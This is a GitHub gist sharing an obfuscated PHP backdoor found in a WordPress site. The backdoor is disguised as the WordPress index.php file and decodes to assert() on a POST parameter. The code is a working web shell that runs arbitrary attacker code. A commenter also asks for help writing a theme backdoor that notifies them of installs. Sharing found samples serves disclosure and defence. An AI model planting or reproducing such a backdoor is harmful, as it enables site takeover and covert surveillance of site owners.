Skip to content

Instantly share code, notes, and snippets.

@jonaslejon
Last active April 9, 2020 14:03
Show Gist options
  • Save jonaslejon/99a637d2e398815cf462 to your computer and use it in GitHub Desktop.
Save jonaslejon/99a637d2e398815cf462 to your computer and use it in GitHub Desktop.
Obfuscated PHP backdoor
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */
@$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[112]).chr($a[53]).chr($a[98]).chr($a[112]).chr($a[118]).chr($a[112]).chr($a[53]).chr($a[98]).chr($a[112]).chr($a[118])]);
?>
@jonaslejon
Copy link
Author

Found the following in a WordPress-installation

@azharanowar
Copy link

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment